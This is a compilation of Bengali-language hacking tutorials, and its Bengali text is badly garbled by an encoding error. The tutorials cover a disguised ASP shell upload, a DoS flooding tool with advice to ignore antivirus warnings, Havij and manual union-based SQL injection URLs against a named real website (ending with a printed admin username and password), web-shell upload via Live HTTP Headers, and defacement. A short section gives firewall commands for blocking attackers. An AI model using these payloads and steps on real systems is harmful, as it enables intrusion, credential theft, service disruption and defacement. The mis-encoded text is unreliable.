সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

